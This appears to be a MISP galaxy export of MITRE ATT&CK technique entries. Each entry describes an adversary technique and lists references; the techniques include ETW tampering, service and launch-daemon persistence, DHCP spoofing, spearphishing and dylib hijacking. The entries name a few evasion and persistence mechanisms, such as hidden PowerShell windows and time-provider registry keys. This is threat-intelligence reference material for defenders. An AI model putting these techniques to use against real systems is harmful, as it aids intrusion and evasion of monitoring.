https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea

Vulnerability Scanning - T1595.002

Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/

T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002"*

Table 4301. Table References

Links
https://attack.mitre.org/techniques/T1595/002
https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning

Indicator Blocking - T1562.006

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006"*

Table 4302. Table References

Links
https://attack.mitre.org/techniques/T1562/006
https://capec.mitre.org/data/definitions/571.html
https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A

Spearphishing Link - T1566.002

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).

Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002"*

Table 4303. Table References

Links
https://attack.mitre.org/techniques/T1566/002
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
https://capec.mitre.org/data/definitions/163.html
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/

Email Accounts - T1586.002

Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or

[Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).

A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Adversaries can use a compromised email account to hijack existing email threads with targets of interest.

The tag is: *misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002"*

Table 4304. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1586/002

Service Execution - T1569.002

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).

[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002"*

Table 4305. Table References

Links

https://attack.mitre.org/techniques/T1569/002
https://docs.microsoft.com/windows/win32/services/service-control-manager
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

Email Addresses - T1589.002

Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.

Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002"*

Table 4306. Table References

Links
https://attack.mitre.org/techniques/T1589/002
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
https://www.hackers-arise.com/email-scraping-and-maltego

Spearphishing Attachment - T1598.002

Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002"*

Table 4307. Table References

Links
https://attack.mitre.org/techniques/T1598/002
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://github.com/ryhanson/phishery
https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf

Windows Service - T1543.003

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"*

Table 4308. Table References

Links
https://attack.mitre.org/techniques/T1543/003
https://capec.mitre.org/data/definitions/478.html
https://capec.mitre.org/data/definitions/550.html
https://capec.mitre.org/data/definitions/551.html
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
https://technet.microsoft.com/en-us/library/cc772408.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://unit42.paloaltonetworks.com/acidbox-rare-malware/
https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Launch Daemon - T1543.004

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)

Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code>

parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)

Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004"*

Table 4309. Table References

Links
https://attack.mitre.org/techniques/T1543/004
https://bradleyjkemp.dev/post/launchdaemon-hijacking/
https://capec.mitre.org/data/definitions/550.html
https://capec.mitre.org/data/definitions/551.html
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
https://www.real-world-systems.com/docs/launchdPlist.1.html
https://www.sentinelone.com/blog/how-malware-persists-on-macos/
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Hidden Window - T1564.003

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>. (Citation: PowerShell About 2019)

Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003"*

Table 4310. Table References

Links
https://attack.mitre.org/techniques/T1564/003
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1

Time Providers - T1547.003

Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003"*

Table 4311. Table References

Links
https://attack.mitre.org/techniques/T1547/003
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
https://github.com/scottlundgren/w32time

https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902

DHCP Spoofing - T1557.003

Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows:

1. The client broadcasts a `DISCOVER` message.
2. The server responds with an `OFFER` message, which includes an available network address.
3. The client broadcasts a `REQUEST` message, which includes the network address offered.
4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.

Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.

Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network's DHCP allocation pool.

The tag is: *misp-galaxy:mitre-attack-pattern="DHCP Spoofing - T1557.003"*

Table 4312. Table References

Links
https://attack.mitre.org/techniques/T1557/003
https://datatracker.ietf.org/doc/html/rfc2131
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)
https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/

https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/
https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2

XPC Services - T1559.003

Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)

Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

The tag is: *misp-galaxy:mitre-attack-pattern="XPC Services - T1559.003"*

Table 4313. Table References

Links
https://attack.mitre.org/techniques/T1559/003
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/
https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html

Wordlist Scanning - T1595.003

Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim

Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).

For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website's pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).

As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage Object](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.

The tag is: *misp-galaxy:mitre-attack-pattern="Wordlist Scanning - T1595.003"*

Table 4314. Table References

Links
https://attack.mitre.org/techniques/T1595/003
https://github.com/clarketm/s3recon
https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

DNS Calculation - T1568.003

Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)

One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Calculation - T1568.003"*

Table 4315. Table References

Links
http://www.crowdstrike.com/blog/whois-numbered-panda/
https://attack.mitre.org/techniques/T1568/003
https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/

https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

Web Services - T1583.006

Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Services - T1583.006"*

Table 4316. Table References

Links
https://attack.mitre.org/techniques/T1583/006
https://threatconnect.com/blog/infrastructure-research-hunting/

Digital Certificates - T1596.003

Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.

Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1596.003"*

Table 4317. Table References

Links
https://attack.mitre.org/techniques/T1596/003

https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
https://www.sslshopper.com/ssl-checker.html

Digital Certificates - T1587.003

Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).

After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003"*

Table 4318. Table References

Links
https://attack.mitre.org/techniques/T1587/003
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Employee Names - T1589.003

Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.

Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003"*

Table 4319. Table References

Links
https://attack.mitre.org/techniques/T1589/003
https://www.opm.gov/cybersecurity/cybersecurity-incidents/

Spearphishing Link - T1598.003

Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003"*

Table 4320. Table References

Links
https://attack.mitre.org/techniques/T1598/003
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html

Dylib Hijacking - T1574.004

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)

The tag is: *misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004"*

Table 4321. Table References

Links
https://attack.mitre.org/techniques/T1574/004
https://capec.mitre.org/data/definitions/471.html
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
https://objective-see.com/blog/blog_0x46.html
https://taomm.org/vol1/pdfs.html
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf

